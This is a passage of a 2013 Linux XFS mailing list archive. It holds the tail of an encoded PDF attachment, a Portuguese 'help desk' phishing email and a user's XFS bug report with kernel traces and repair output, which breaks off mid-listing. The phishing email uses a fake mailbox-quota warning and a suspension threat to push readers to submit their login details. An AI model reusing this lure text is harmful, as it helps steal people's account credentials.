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 VDwTeyGrxdk5G0nzDzSFMwplbmRzdHJlYW0KZW5kb2JqCjY1IDAgb2JqCjw8L1R5cGUvTWV0YWRh dGEKL1N1YnR5cGUvWE1ML0xlbmd0aCAxNTg0Pj5zdHJlYW0KPD94cGFja2V0IGJlZ2luPSfvu78n IGlkPSdXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQnPz4KPD9hZG9iZS14YXAtZmlsdGVycyBlc2M9 IkNSTEYiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSdhZG9iZTpuczptZXRhLycgeDp4bXB0az0nWE1Q IHRvb2xraXQgMi45LjEtMTMsIGZyYW1ld29yayAxLjYnPgo8cmRmOlJERiB4bWxuczpyZGY9J2h0 dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMnIHhtbG5zOmlYPSdodHRw Oi8vbnMuYWRvYmUuY29tL2lYLzEuMC8nPgo8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0ndXVp ZDozODgwODc0ZC01ZDk1LTExZTMtMDAwMC1mYWQyYzI0YTlmMjknIHhtbG5zOnBkZj0naHR0cDov L25zLmFkb2JlLmNvbS9wZGYvMS4zLyc+PHBkZjpQcm9kdWNlcj5HUEwgR2hvc3RzY3JpcHQgOS4w NTwvcGRmOlByb2R1Y2VyPgo8cGRmOktleXdvcmRzPigpPC9wZGY6S2V5d29yZHM+CjwvcmRmOkRl c2NyaXB0aW9uPgo8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0ndXVpZDozODgwODc0ZC01ZDk1 LTExZTMtMDAwMC1mYWQyYzI0YTlmMjknIHhtbG5zOnhtcD0naHR0cDovL25zLmFkb2JlLmNvbS94 YXAvMS4wLyc+PHhtcDpNb2RpZnlEYXRlPjIwMTMtMTItMDJUMTE6MDg6MDgrMDE6MDA8L3htcDpN b2RpZnlEYXRlPgo8eG1wOkNyZWF0ZURhdGU+MjAxMy0xMi0wMlQxMTowODowOCswMTowMDwveG1w OkNyZWF0ZURhdGU+Cjx4bXA6Q3JlYXRvclRvb2w+UERGQ3JlYXRvciBWZXJzaW9uIDEuNi4yPC94 bXA6Q3JlYXRvclRvb2w+PC9yZGY6RGVzY3JpcHRpb24+CjxyZGY6RGVzY3JpcHRpb24gcmRmOmFi b3V0PSd1dWlkOjM4ODA4NzRkLTVkOTUtMTFlMy0wMDAwLWZhZDJjMjRhOWYyOScgeG1sbnM6eGFw TU09J2h0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8nIHhhcE1NOkRvY3VtZW50SUQ9J3V1 aWQ6Mzg4MDg3NGQtNWQ5NS0xMWUzLTAwMDAtZmFkMmMyNGE5ZjI5Jy8+CjxyZGY6RGVzY3JpcHRp b24gcmRmOmFib3V0PSd1dWlkOjM4ODA4NzRkLTVkOTUtMTFlMy0wMDAwLWZhZDJjMjRhOWYyOScg eG1sbnM6ZGM9J2h0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvJyBkYzpmb3JtYXQ9J2Fw cGxpY2F0aW9uL3BkZic+PGRjOnRpdGxlPjxyZGY6QWx0PjxyZGY6bGkgeG1sOmxhbmc9J3gtZGVm YXVsdCc+VGFyaWYgVEVESVBSTyBMYXNlciBDb21wYXRpYmxlIERlY2VtYnJlIDIwMTM8L3JkZjps aT48L3JkZjpBbHQ+PC9kYzp0aXRsZT48ZGM6Y3JlYXRvcj48cmRmOlNlcT48cmRmOmxpPkpveTwv cmRmOmxpPjwvcmRmOlNlcT48L2RjOmNyZWF0b3I+PGRjOmRlc2NyaXB0aW9uPjxyZGY6U2VxPjxy ZGY6bGk+KCk8L3JkZjpsaT48L3JkZjpTZXE+PC9kYzpkZXNjcmlwdGlvbj48L3JkZjpEZXNjcmlw dGlvbj4KPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAo8P3hwYWNrZXQgZW5kPSd3Jz8+CmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9Qcm9k dWNlcihHUEwgR2hvc3RzY3JpcHQgOS4wNSkKL0NyZWF0aW9uRGF0ZShEOjIwMTMxMjAyMTEwODA4 KzAxJzAwJykKL01vZERhdGUoRDoyMDEzMTIwMjExMDgwOCswMScwMCcpCi9UaXRsZShcMzc2XDM3 N1wwMDBUXDAwMGFcMDAwclwwMDBpXDAwMGZcMDAwIFwwMDBUXDAwMEVcMDAwRFwwMDBJXDAwMFBc MDAwUlwwMDBPXDAwMCBcMDAwTFwwMDBhXDAwMHNcMDAwZVwwMDByXDAwMCBcMDAwQ1wwMDBvXDAw MG1cMDAwcFwwMDBhXDAwMHRcMDAwaVwwMDBiXDAwMGxcMDAwZVwwMDAgXDAwMERcMDAwZVwwMDBj XDAwMGVcMDAwbVwwMDBiXDAwMHJcMDAwZVwwMDAgXDAwMDJcMDAwMFwwMDAxXDAwMDMpCi9DcmVh dG9yKFwzNzZcMzc3XDAwMFBcMDAwRFwwMDBGXDAwMENcMDAwclwwMDBlXDAwMGFcMDAwdFwwMDBv XDAwMHJcMDAwIFwwMDBWXDAwMGVcMDAwclwwMDBzXDAwMGlcMDAwb1wwMDBuXDAwMCBcMDAwMVww MDAuXDAwMDZcMDAwLlwwMDAyKQovQXV0aG9yKFwzNzZcMzc3XDAwMEpcMDAwb1wwMDB5KQovS2V5 d29yZHMoKQovU3ViamVjdCgpPj5lbmRvYmoKeHJlZgowIDY2CjAwMDAwMDAwMDAgNjU1MzUgZiAK MDAwMDA4NDYyNCAwMDAwMCBuIAowMDAwMTI0MTg4IDAwMDAwIG4gCjAwMDAwODQ0ODAgMDAwMDAg biAKMDAwMDA4MjYxMCAwMDAwMCBuIAowMDAwMDAwMDE1IDAwMDAwIG4gCjAwMDAwMDU4ODYgMDAw MDAgbiAKMDAwMDA4NzQwNCAwMDAwMCBuIAowMDAwMDg1OTAxIDAwMDAwIG4gCjAwMDAwODc0Njgg MDAwMDAgbiAKMDAwMDA4Njk1MCAwMDAwMCBuIAowMDAwMTAyMzM4IDAwMDAwIG4gCjAwMDAwODQ2 ODkgMDAwMDAgbiAKMDAwMDA4Mjc1MiAwMDAwMCBuIAowMDAwMDA1OTA2IDAwMDAwIG4gCjAwMDAw MTc5MDAgMDAwMDAgbiAKMDAwMDA4NDczOSAwMDAwMCBuIAowMDAwMDgyODk2IDAwMDAwIG4gCjAw MDAwMTc5MjIgMDAwMDAgbiAKMDAwMDAyMjMzNyAwMDAwMCBuIAowMDAwMDg0Nzg5IDAwMDAwIG4g CjAwMDAwODMwNDAgMDAwMDAgbiAKMDAwMDAyMjM1OCAwMDAwMCBuIAowMDAwMDI4MDI2IDAwMDAw IG4gCjAwMDAwODQ4MzkgMDAwMDAgbiAKMDAwMDA4MzE4NCAwMDAwMCBuIAowMDAwMDI4MDQ3IDAw MDAwIG4gCjAwMDAwMzM4MDIgMDAwMDAgbiAKMDAwMDA4NDg4OSAwMDAwMCBuIAowMDAwMDgzMzI4 IDAwMDAwIG4gCjAwMDAwMzM4MjMgMDAwMDAgbiAKMDAwMDAzOTEwNyAwMDAwMCBuIAowMDAwMDg0 OTM5IDAwMDAwIG4gCjAwMDAwODM0NzIgMDAwMDAgbiAKMDAwMDAzOTEyOCAwMDAwMCBuIAowMDAw MDQ0NDcyIDAwMDAwIG4gCjAwMDAwODQ5ODkgMDAwMDAgbiAKMDAwMDA4MzYxNiAwMDAwMCBuIAow MDAwMDQ0NDkzIDAwMDAwIG4gCjAwMDAwNTA0NDEgMDAwMDAgbiAKMDAwMDA4NTAzOSAwMDAwMCBu IAowMDAwMDgzNzYwIDAwMDAwIG4gCjAwMDAwNTA0NjIgMDAwMDAgbiAKMDAwMDA1NzIxNSAwMDAw MCBuIAowMDAwMDg1MDg5IDAwMDAwIG4gCjAwMDAwODM5MDQgMDAwMDAgbiAKMDAwMDA1NzIzNiAw MDAwMCBuIAowMDAwMDYyNDY4IDAwMDAwIG4gCjAwMDAwODUxMzkgMDAwMDAgbiAKMDAwMDA4NDA0 OCAwMDAwMCBuIAowMDAwMDYyNDg5IDAwMDAwIG4gCjAwMDAwNjg5ODcgMDAwMDAgbiAKMDAwMDA4 NTE4OSAwMDAwMCBuIAowMDAwMDg0MTkyIDAwMDAwIG4gCjAwMDAwNjkwMDggMDAwMDAgbiAKMDAw MDA3Njc4OCAwMDAwMCBuIAowMDAwMDg1MjM5IDAwMDAwIG4gCjAwMDAwODQzMzYgMDAwMDAgbiAK MDAwMDA3NjgwOSAwMDAwMCBuIAowMDAwMDgyNTg5IDAwMDAwIG4gCjAwMDAwODUyODkgMDAwMDAg biAKMDAwMDA4NzY3MyAwMDAwMCBuIAowMDAwMTAyNTQxIDAwMDAwIG4gCjAwMDAwODUzMzkgMDAw MDAgbiAKMDAwMDA4NjI3NCAwMDAwMCBuIAowMDAwMTIyNTI3IDAwMDAwIG4gCnRyYWlsZXIKPDwg L1NpemUgNjYgL1Jvb3QgMSAwIFIgL0luZm8gMiAwIFIKL0lEIFs8QzAwRTJGRDkzN0U4NUYyQ0Q1 NTc1NzlCM0I4MEY3MkY+PEMwMEUyRkQ5MzdFODVGMkNENTU3NTc5QjNCODBGNzJGPl0KPj4Kc3Rh cnR4cmVmCjEyNDc0MwolJUVPRgo= --b1_94f32200a4574982cf9cc2b264f2e3e9-- From ylapidot@colman.ac.il Wed Dec 18 07:47:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=HTML_MESSAGE,SUBJ_ALL_CAPS, T_KHOP_FOREIGN_CLICK autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C15737F3F for ; Wed, 18 Dec 2013 07:47:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8FE99304064 for ; Wed, 18 Dec 2013 05:47:22 -0800 (PST) X-ASG-Debug-ID: 1387374435-04bdf00fdfea700001-w1Z2WR Received: from terminator.colman.ac.il (terminator.colman.ac.il [193.106.52.50]) by cuda.sgi.com with ESMTP id uB4Pk7kbDbarLCOB for ; Wed, 18 Dec 2013 05:47:16 -0800 (PST) X-Barracuda-Envelope-From: ylapidot@colman.ac.il X-Barracuda-Apparent-Source-IP: 193.106.52.50 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsYGADqmsVJ/AAAB/2dsb2JhbAANTIJGfKZ0kkSBMWQPgh4PgQsBNgFACScKARSFboIbr3qTRYY8jkEBAQIcSgGCaiaBEwSJC406AYg8jGWBcIFmAQEHGg X-IronPort-AV: E=Sophos;i="4.95,508,1384293600"; d="scan'208,217";a="38678751" Received: from unknown (HELO tmrelay.colman.ac.il) ([172.30.10.2]) by terminator.colman.ac.il with ESMTP; 18 Dec 2013 15:39:19 +0200 Received: from tmrelay.colman.ac.il (unknown [127.0.0.1]) by IMSVA (Postfix) with ESMTP id A99261689A1; Wed, 18 Dec 2013 15:23:20 +0200 (IST) Received: from orbit1.hdq.colman.ac.il (unknown [192.168.30.5]) by tmrelay.colman.ac.il (Postfix) with ESMTP id 9442D16897C; Wed, 18 Dec 2013 15:23:20 +0200 (IST) Received: from SUN.hdq.colman.ac.il ([192.168.30.12]) by orbit1.hdq.colman.ac.il ([192.168.30.5]) with mapi; Wed, 18 Dec 2013 15:23:20 +0200 From: Lapidot Yael Date: Wed, 18 Dec 2013 15:23:20 +0200 Subject: =?iso-8859-1?Q?ADMIN_HELP_DESK_ATEN=C7=C3O?= Thread-Topic: =?iso-8859-1?Q?ADMIN_HELP_DESK_ATEN=C7=C3O?= X-ASG-Orig-Subj: =?iso-8859-1?Q?ADMIN_HELP_DESK_ATEN=C7=C3O?= Thread-Index: AQHO+/RR5sg/HGrv6EOz+aJpo1uFEg== Message-ID: Accept-Language: en-US, he-IL Content-Language: en-CA X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US, he-IL Content-Type: multipart/alternative; boundary="_000_B622D1948E61654E91EF81BFFBDAD6375C726FD5EFSUNhdqcolmana_" MIME-Version: 1.0 To: undisclosed-recipients:; X-TM-AS-MML: disable X-Barracuda-Connect: terminator.colman.ac.il[193.106.52.50] X-Barracuda-Start-Time: 1387374435 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.52 X-Barracuda-Spam-Status: No, SCORE=0.52 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA578_CH, HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143196 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC7_SA578_CH Custom Rule SA578_CH --_000_B622D1948E61654E91EF81BFFBDAD6375C726FD5EFSUNhdqcolmana_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sua caixa de correio est=E1 quase cheio. 465MB 500MB Current size Maximu Sua caixa de entrada est=E1 quase ultrapassou o seu limite de armazenamento= . N=E3o ser=E1 capaz de enviar e receber e-mails, se excedido que limitar e= sua conta de e-mail ser=E1 suspenso a partir de nosso servidor. Para evita= r esse problema, voc=EA precisa atualiz=E1-lo quota caixa postal Ao clicar = no link abaixo e preencher suas informa=E7=F5es de login para a atualiza=E7= =E3o. Clique Aqui Se n=E3o receber qualquer resposta dentro de 24 horas a sua caixa de correi= o ser=E1 suspensa. obrigado help Desk --_000_B622D1948E61654E91EF81BFFBDAD6375C726FD5EFSUNhdqcolmana_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Sua caixa de corre= io est=E1 quase cheio.
    465MB
    500MB
    Current size
    Maximu
    Su= a caixa de entrada est=E1 quase ultrapassou o s= eu limite de armazenamento. N=E3o ser=E1 capaz de enviar e receber e-mails, = se excedido que limitar e sua conta de e-mail ser=E1 suspenso a partir de nosso servidor. Para evitar esse problema, voc=EA precisa<= /span> atualiz=E1-lo quota c= aixa postal Ao clicar no link abaixo e preencher suas informa=E7=F5es de login= para a atualiza=E7=E3o.

    Clique Aqui<= br>
    Se n=E3o re= ceber qualquer resposta dentro de 24 horas a sua caixa de correio ser=E1 suspensa.

    obrigado
    help Desk
    --_000_B622D1948E61654E91EF81BFFBDAD6375C726FD5EFSUNhdqcolmana_-- From arno@disconnect.de Wed Dec 18 09:01:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4691B7F3F for ; Wed, 18 Dec 2013 09:01:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9BF3AC003 for ; Wed, 18 Dec 2013 07:01:13 -0800 (PST) X-ASG-Debug-ID: 1387378871-04cbb0416880e200001-NocioJ Received: from dakara.d-tor.org (dakara.d-tor.org [88.198.161.242]) by cuda.sgi.com with ESMTP id oVSvLq4pgUBw2GPR for ; Wed, 18 Dec 2013 07:01:11 -0800 (PST) X-Barracuda-Envelope-From: arno@disconnect.de X-Barracuda-Apparent-Source-IP: 88.198.161.242 Received: from [IPv6:2a01:4f8:d16:901:24cb:ef07:60a5:3929] (unknown [IPv6:2a01:4f8:d16:901:24cb:ef07:60a5:3929]) by dakara.d-tor.org (Postfix) with ESMTPSA id DB6E481031D; Wed, 18 Dec 2013 16:01:03 +0100 (CET) Message-ID: <52B1B89A.8030401@disconnect.de> Date: Wed, 18 Dec 2013 16:00:42 +0100 From: arno User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com, linux-kernel@vger.kernel.org Subject: [XFS BUG] xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [XFS BUG] xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-d-tor-MailScanner-Information: Please contact the ISP for more information X-d-tor-MailScanner-ID: DB6E481031D.A700B X-d-tor-MailScanner: Found to be clean X-d-tor-MailScanner-From: arno@disconnect.de X-Barracuda-Connect: dakara.d-tor.org[88.198.161.242] X-Barracuda-Start-Time: 1387378871 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143197 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hello, (Please keep me in CC, I'm not subscribed) Just got "xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning" when trying to grow a logical Volume. Sorry, I lost the xfs_growfs output. After collecting some info, I ran xfs_repair, and that seemed to fix it, so no harm done. After fixing, the FS had the new, increased size, if that matters. Setup: 1. RAID5 with 4 disks ~~ $ cat /proc/mdstat Personalities : [raid6] [raid5] [raid4] md1 : active raid5 sdh[4] sde[0] sdf[1] sdg[2] 8790405120 blocks super 1.2 level 5, 512k chunk, algorithm 2 [4/4] [UUUU] md127 : active raid5 sda2[2] sdb2[0] sdd2[3] sdc2[1] 1464862656 blocks level 5, 64k chunk, algorithm 2 [4/4] [UUUU] ~~ 2. A Volume group on md127 with the logical volume in question. The LV is crypted with LUKS: ~~ am@hadante ~ $ sudo cryptsetup status /dev/mapper/mp3-c /dev/mapper/mp3-c is active and is in use. type: LUKS1 cipher: aes-cbc-essiv:sha256 keysize: 256 bits device: /dev/mapper/raid-mp3 offset: 2056 sectors size: 209713144 sectors mode: read/write ~~ 3. XFS on the crypted LV What I did: 1. extend the LV: lvextend -L +10G /dev/mapper/raid-mp3 2. resize the mapped device: cryptsetup resize /dev/mapper/mp3-c 3. grow the filesystem: xfs_growfs /dev/mapper/mp3-c dmesg (The kernel is tainted because of the nvidia proprietary module): ~~ [1498234.705668] ffff8804069f3a00: 58 46 53 42 00 00 10 00 00 00 00 00 01 67 fe ff XFSB.........g.. [1498234.705673] ffff8804069f3a10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [1498234.705675] ffff8804069f3a20: f3 01 07 26 71 bc 48 5f bf 86 66 c8 2c ca 2d 21 ...&q.H_..f.,.-! [1498234.705676] ffff8804069f3a30: 00 00 00 00 00 80 00 04 00 00 00 00 00 00 00 80 ................ [1498234.705679] XFS (dm-19): Internal error xfs_sb_read_verify at line 628 of file fs/xfs/xfs_sb.c. Caller 0xffffffffa04b4e05 [1498234.705682] CPU: 5 PID: 123 Comm: kworker/5:1H Tainted: P O 3.12.1-3-ARCH #1 [1498234.705684] Hardware name: System manufacturer System Product Name/M5A87, BIOS 0404 04/19/2011 [1498234.705713] Workqueue: xfslogd xfs_buf_iodone_work [xfs] [1498234.705714] 0000000000000001 ffff88041ff73d70 ffffffff814ed7ab ffff880420f3a800 [1498234.705717] ffff88041ff73d88 ffffffffa04b80db ffffffffa04b4e05 ffff88041ff73dc0 [1498234.705719] ffffffffa04b8135 000002741fb2c500 ffff8803000cd080 0000000000000075 [1498234.705721] Call Trace: [1498234.705727] [] dump_stack+0x54/0x8d [1498234.705736] [] xfs_error_report+0x3b/0x40 [xfs] [1498234.705744] [] ? xfs_buf_iodone_work+0x75/0xa0 [xfs] [1498234.705752] [] xfs_corruption_error+0x55/0x80 [xfs] [1498234.705763] [] xfs_sb_read_verify+0x113/0x130 [xfs] [1498234.705772] [] ? xfs_buf_iodone_work+0x75/0xa0 [xfs] [1498234.705779] [] xfs_buf_iodone_work+0x75/0xa0 [xfs] [1498234.705782] [] process_one_work+0x167/0x450 [1498234.705784] [] worker_thread+0x121/0x3a0 [1498234.705786] [] ? manage_workers.isra.23+0x2b0/0x2b0 [1498234.705789] [] kthread+0xc0/0xd0 [1498234.705791] [] ? kthread_create_on_node+0x120/0x120 [1498234.705793] [] ret_from_fork+0x7c/0xb0 [1498234.705795] [] ? kthread_create_on_node+0x120/0x120 [1498234.705797] XFS (dm-19): Corruption detected. Unmount and run xfs_repair [1498234.705819] XFS (dm-19): metadata I/O error: block 0x7cff600 ("xfs_trans_read_buf_map") error 117 numblks 1 [1498234.705826] XFS (dm-19): error 117 reading secondary superblock for ag 5 [1498687.134755] XFS (dm-19): Mounting Filesystem [1498687.308207] XFS (dm-19): Ending clean mount ~~ xfs_db -r -c "sb 0" -c p -c "sb 5" -c p /dev/mapper/mp3-c output _before_ repair: ~~ magicnum = 0x58465342 blocksize = 4096 dblocks = 26214143 rblocks = 0 rextents = 0 uuid = f3010726-71bc-485f-bf86-66c82cca2d21 logstart = 8388612 rootino = 128 rbmino = 129 rsumino = 130 rextsize = 1 agblocks = 3276736 agcount = 9 rbmblocks = 0 logblocks = 6399 versionnum = 0xb4b4 sectsize = 512 inodesize = 256 inopblock = 16 fname = "\000\000\000\000\000\000\000\000\000\000\000\000" blocklog = 12 sectlog = 9 inodelog = 8 inopblog = 4 agblklog = 22 rextslog = 0 inprogress = 0 imax_pct = 25 icount = 16064 ifree = 92 fdblocks = 3807868 frextents = 0 uquotino = 0 gquotino = 0 qflags = 0 flags = 0 shared_vn = 0 inoalignmt = 2 unit = 0 width = 0 dirblklog = 0 logsectlog = 0 logsectsize = 0 logsunit = 1 features2 = 0x8 bad_features2 = 0x8 magicnum = 0x58465342 blocksize = 4096 dblocks = 23592703 rblocks = 0 rextents = 0 uuid = f3010726-71bc-485f-bf86-66c82cca2d21 logstart = 8388612 rootino = 128 rbmino = 129 rsumino = 130 rextsize = 1 agblocks = 3276736 agcount = 8 rbmblocks = 0 logblocks = 6399 versionnum = 0xb4b4 sectsize = 512 inodesize = 256 inopblock = 16 fname = "\000\000\000\000\000\000\000\000\000\000\000\000" blocklog = 12 sectlog = 9 inodelog = 8 inopblog = 4 agblklog = 22 rextslog = 0 inprogress = 0 imax_pct = 25 icount = 14912 ifree = 90 fdblocks = 769394 frextents = 0 uquotino = 0 gquotino = 0 qflags = 0 flags = 0 shared_vn = 0 inoalignmt = 2 unit = 0 width = 0 dirblklog = 0 logsectlog = 0 logsectsize = 0 logsunit = 1 features2 = 0x8 bad_features2 = 0x8 ~~ xfs_repair output: ~~ Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... primary/secondary superblock 5 conflict - AG superblock geometry info conflicts with filesystem geometry reset bad sb for ag 5 primary/secondary superblock 6 conflict - AG superblock geometry info conflicts with filesystem geometry reset bad sb for ag 6 primary/secondary superblock 7 conflict - AG superblock geometry info conflicts with filesystem geometry reset bad sb for ag 7 bad on-disk superblock 8 - bad magic number primary/secondary superblock 8 conflict - AG superblock geometry info conflicts with filesystem geometry reset bad sb for ag 8 - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 5 - agno = 2 - agno = 3 - agno = 4 - agno = 6 - agno = 7 - agno = 8 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... - traversal finished ... - moving disconnected inodes to lost+found ... Phase 7 - verify and correct link counts... done ~~ kernel version: ~~ am@hadante ~ $ uname -a Linux hadante 3.12.1-3-ARCH #1 SMP PREEMPT Tue Nov 26 11:17:02 CET 2013 x86_64 GNU/Linux ~~ lsmod: ~~ Module Size Used 